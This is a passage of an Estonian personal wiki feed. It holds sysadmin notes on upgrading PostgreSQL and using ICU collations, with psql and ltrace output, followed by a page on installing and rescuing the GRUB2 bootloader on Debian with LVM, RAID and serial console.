&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===ICU - International Components for Unicode===&lt;br /&gt;
&lt;br /&gt;
Mõisted&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=GRUB2_alglaaduri_kasutamine_operatsioonis%C3%BCsteemiga_Debian_Squeeze&amp;diff=4209</id>
		<title>GRUB2 alglaaduri kasutamine operatsioonisüsteemiga Debian Squeeze</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=GRUB2_alglaaduri_kasutamine_operatsioonis%C3%BCsteemiga_Debian_Squeeze&amp;diff=4209"/>
		<updated>2026-06-14T22:46:13Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 2026 kevad märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
Tavaliselt paigaldatakse süsteemi installeerimisel vaikimisi alglaadur (ingl. k. bootloader) väga sobivalt ja kasutajal ei ole vaja kunagi tunda muret, arvuti lihtsalt alati käivitub korrektselt. &lt;br /&gt;
&lt;br /&gt;
Käesolev tekst käsitleb alglaaduri kasutamist juhtumitel kui midagi mis on alati töötanud ühteäkki enam ei tööta, nt arvuti ei käivitu uue tuumaga ja alternatiiviks on kasutada mingit varasemalt teadaolevalt töötanud tuuma. Teine levinud juhtum alglaaduriga töötamisel on süsteemi varundamisest taaste, taasteprotseduuri käigus tuleb paigaldada alglaadur.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Kohalikud IO kontrollerid, aga ka FC või iSCSI kontrollerid esitavad enda küljes olevaid kettaid BIOSile /dev/sda, /dev/sdb jne seadmetena, millelt oskab BIOS leida boot sektori (mida otsitakse järjekorras) ning laadida bootloaderi vajalikud stage'd ning tuuma ja initramfs'i. Seejärel hakkab arvutis toimuvat juhtima Linux.&lt;br /&gt;
&lt;br /&gt;
===Olemasoleva GRUB2 alglaaduri kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===GRUB2 alglaaduri paigaldamine plokkseadmele===&lt;br /&gt;
&lt;br /&gt;
* Tundub, et GRUB2 puhul peab plokkseadmel olema partitsioonitabel kusjuures esimene partitsioon peab olema natuke kaugemal seadme algusest kui fdisk vaikimisi teeb, nt nii 256 MB /boot jaoks&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/vda  &lt;br /&gt;
 GNU Parted 2.3&lt;br /&gt;
 Using /dev/vda&lt;br /&gt;
 Welcome to GNU Parted! Type 'help' to view a list of commands.&lt;br /&gt;
 (parted) unit s                                                           &lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 Model: Virtio Block Device (virtblk)&lt;br /&gt;
 Disk /dev/vda: 25165824s&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: msdos&lt;br /&gt;
 &lt;br /&gt;
 Number  Start       End          Size         Type     File system  Flags&lt;br /&gt;
  1      2048s       526335s      524288s      primary  ext3         boot&lt;br /&gt;
&lt;br /&gt;
Sellise asetuse moodustamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s&lt;br /&gt;
 (parted) mkpart primary 2048 526335&lt;br /&gt;
&lt;br /&gt;
* Plokkseadme UUID väärtuse lugemiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # blkid &lt;br /&gt;
 /dev/cciss/c0d0p2: UUID=&amp;quot;9mNOVl-MDEA-xSKc-fhSO-PZmo-LBqX-ih8cwm&amp;quot; TYPE=&amp;quot;LVM2_member&amp;quot; &lt;br /&gt;
 /dev/cciss/c0d0p1: UUID=&amp;quot;fc138afe-a71e-4c5f-89ff-66ee270d9539&amp;quot; TYPE=&amp;quot;ext3&amp;quot; &lt;br /&gt;
 /dev/mapper/system-root: UUID=&amp;quot;bfeb4967-8ddc-47a4-9df3-a8b470f7b60e&amp;quot; TYPE=&amp;quot;ext3&amp;quot; &lt;br /&gt;
 /dev/mapper/system-swap: UUID=&amp;quot;a64a936a-3473-4dbf-a4d6-26c90d365726&amp;quot; TYPE=&amp;quot;swap&amp;quot; &lt;br /&gt;
 /dev/mapper/system-data: UUID=&amp;quot;9cebeec7-6b76-43b7-a1bc-ab85232c7bd0&amp;quot; TYPE=&amp;quot;ext3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Alglaaduri paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/sda1 /mnt/root&lt;br /&gt;
 # grub-install --recheck --no-floppy --root-directory=/mnt/root /dev/sda&lt;br /&gt;
&lt;br /&gt;
===GRUB2 seadistusfaili /etc/grub/grub.cfg kasutamine===&lt;br /&gt;
&lt;br /&gt;
GRUB2 seadistusfaili genereerimist juhib /etc/default/grub seadistusfail, milles saab kasutada selliseid üldise tähendusega parameetreid&lt;br /&gt;
&lt;br /&gt;
* GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet&amp;quot; - kas kerneli reale lisatakse 'quiet'&lt;br /&gt;
&lt;br /&gt;
GRUB2 seadistamiseks sobib kasutada nt sellist /etc/grub.d/40_custom faili&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/grub.d/40_custom &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 # This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
 # menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
 # the 'exec tail' line above.&lt;br /&gt;
 &lt;br /&gt;
 # echo &amp;quot;Debian GPT&amp;quot; &amp;gt;&amp;amp;2&lt;br /&gt;
 menuentry &amp;quot;Debian GPT&amp;quot; {&lt;br /&gt;
 insmod part_gpt&lt;br /&gt;
 insmod ext2&lt;br /&gt;
 set root=(hd0,gpt2)&lt;br /&gt;
 linux /vmlinuz-2.6.32-2-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.26-2-amd64&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ning tuleb muuta käivitataks&lt;br /&gt;
&lt;br /&gt;
 # chmod 0755 /etc/grub.d/40_custom&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili /boot/grub/grub.cfg genereerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kuhugi mujale genereerimiseks sobib kasutada programmi&lt;br /&gt;
&lt;br /&gt;
 # grub-mkconfig -o /tmp/grub-test.cfg&lt;br /&gt;
&lt;br /&gt;
===GRUB2 üle serial konsooli===&lt;br /&gt;
&lt;br /&gt;
Selleks, et alglaadur esitatakse serial konsoolil tuleb seadistusfailis /etc/default/grub näidata read, kus &amp;quot;serial console&amp;quot; tähendab, et grub menüüd esitatakse nii füüsilisel monitoril (console) kui serial konsoolil (serial)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ...&lt;br /&gt;
 GRUB_TERMINAL=&amp;quot;serial console&amp;quot;&lt;br /&gt;
 GRUB_CMDLINE_LINUX=&amp;quot;console=ttyS0,9600&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning vajadusel, sama süntaks nagu legacy GRUB, nt&lt;br /&gt;
&lt;br /&gt;
 GRUB_SERIAL_COMMAND=&amp;quot;serial --unit=0 --speed=4800 --word=7 --parity=even --stop=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===GRUB2 prompti kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kui /boot/grub/grub.cfg fail puudub või menüüst väljutakse teadlikult Ctrl-C abil GRUB2 käsureale, siis nt selliselt saab käisitsi arvuti alglaadida&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; insmod ext2&lt;br /&gt;
 grub&amp;gt; set root=(hd0,msdos1)&lt;br /&gt;
 grub&amp;gt; linux /vmlinuz-2.6.32-5-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 grub&amp;gt; initrd /initrd.img-2.6.32-5-amd64&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* (hd0,msdos1) - tuum ja initramfs asuvad esimese kõvaketta esimesel fdisk partisioonil asuvas failisüsteemis&lt;br /&gt;
* operatsioonisüsteemi juurfailisüsteemiks on /dev/mapper/system-root LVM köide&lt;br /&gt;
&lt;br /&gt;
===GRUB2 ja LVM kasutamine===&lt;br /&gt;
&lt;br /&gt;
GRUB2 ja LVM kasutamine tähendab, et /boot failisüsteem asub LVM köitel, tõenäoliselt siis paikneb ja operatsioonisüsteemi juurfailisüsteem LVM köitel. &lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; insmod lvm&lt;br /&gt;
 grub&amp;gt; set root=('system-root')&lt;br /&gt;
&lt;br /&gt;
Praktiliselt tähendab see, et GRUB2 tarkvaraga ei ole vaja enam kasutada eraldi /boot failisüsteemi, mis asub otse fdisk partitsioonil.&lt;br /&gt;
&lt;br /&gt;
===GRUB2 ja RAID1 kasutamine===&lt;br /&gt;
&lt;br /&gt;
GRUB2 ja RAID1 kasutamine tähendab, et /boot failisüsteem asub mdadm RAID seadmel, tõenäoliselt siis paikneb operatsioonisüsteemi juurfailisüsteem samuti mdadm seadmel või sellel asuval LVM köitel. Tavaliselt kasutatakse füüsilisi kõvakettaid sel juhul selliselt, nt nelja ketta puhul&lt;br /&gt;
&lt;br /&gt;
* /dev/md/boot - RAID1, mis koosneb /dev/sda1, /dev/sdb1, /dev/sdc1 ja /dev/sdd1 seadmetest&lt;br /&gt;
* /dev/md/system - RAID5, mis koosneb /dev/sda2, /dev/sdb2, /dev/sdc2 ja /dev/sdd2 seadmetest&lt;br /&gt;
* /dev/mapper/system-swap, /dev/mapper/system-root - LVM köited asuvad /dev/md/system seadmel&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili /boot/grub/grub.cfg genereeritakse sel juhul automaatselt rida&lt;br /&gt;
&lt;br /&gt;
 set root='(md/boot)'&lt;br /&gt;
&lt;br /&gt;
RAID1 seadmelt alglaadimisel on oluline uue seadme RAID lülitusse lisamisel grub uuesti paigalda öeldes, vähemalt ideeliselt võiks ta nii olla&lt;br /&gt;
&lt;br /&gt;
 # grub-install --recheck --no-floppy /dev/md/boot&lt;br /&gt;
 Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2013 aastal tuleb praktiliselt öelda siiski nt&lt;br /&gt;
&lt;br /&gt;
 # grub-install --recheck --no-floppy /dev/sda&lt;br /&gt;
 # grub-install --recheck --no-floppy /dev/sdb&lt;br /&gt;
&lt;br /&gt;
Tulemusena paigaldatake GRUB2 automaatselt kõigi asjassepuutuvate komponentide st /dev/sda, /dev/sdb jne MBR'i.&lt;br /&gt;
&lt;br /&gt;
===GRUB2 ja RAID5 kasutamine===&lt;br /&gt;
&lt;br /&gt;
GRUB2 alglaadija oskab /boot kataloogi kasutada ka RAID5 seadmelt.&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; set raid&lt;br /&gt;
 grub&amp;gt; set root=('md/0')&lt;br /&gt;
&lt;br /&gt;
===GRUB2 ja RAID1 ja LVM kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===GRUB2 ja RAID1 ja LVM ja LUKS kasutamine===&lt;br /&gt;
&lt;br /&gt;
Oluline on jälgida, et peale initramfs tekitamist on seal olemas sarnase sisuga fail&lt;br /&gt;
&lt;br /&gt;
 # cat conf/conf.d/cryptroot &lt;br /&gt;
 target=c_md0,source=/dev/md0,key=none,rootdev,lvm=data-root&lt;br /&gt;
&lt;br /&gt;
===GRUB2 Rescue režiimi kasutamine===&lt;br /&gt;
&lt;br /&gt;
GRUB2 läheb rescue režiimi nt juhtumil, kui tal ei ole kasutada /boot/grub kataloogi&lt;br /&gt;
&lt;br /&gt;
 GRUB loading.                                                                   &lt;br /&gt;
 Welcome to GRUB!                                                                &lt;br /&gt;
 &lt;br /&gt;
 error: no such disk.&lt;br /&gt;
 Entering rescue mode...&lt;br /&gt;
 grub rescue&amp;gt; ls                                                                 &lt;br /&gt;
 (md/boot) (md/system) (hd0) (hd0,msdos2) (hd0,msdos1) (hd1) (hd1,msdos2) (hd1,msdos1) &lt;br /&gt;
 (hd2) (hd2,msdos2) (hd2,msdos1) (hd3) (hd3,msdos2) (hd3,msdos1)&lt;br /&gt;
&lt;br /&gt;
Selle põhjuseks võib olla nt, et GRUB2 ei tea, et need failid on (md/boot) seadmel. Edasi võiks saada nt nii&lt;br /&gt;
&lt;br /&gt;
 grub rescue&amp;gt; set prefix=(md/boot)/grub&lt;br /&gt;
 grub rescue&amp;gt; insmod (md/boot)/grub/normal.mod&lt;br /&gt;
 grub rescue&amp;gt; normal&lt;br /&gt;
&lt;br /&gt;
Seejärel peaks avanema tavalised GRUB2 menüüvalikud.&lt;br /&gt;
&lt;br /&gt;
===GRUB2 alglaaduri kasutamine GPT ja UEFI riistvaraga===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===GRUB2 alglaaduri kasutamine GPT ja PC-BIOS riistvaraga===&lt;br /&gt;
&lt;br /&gt;
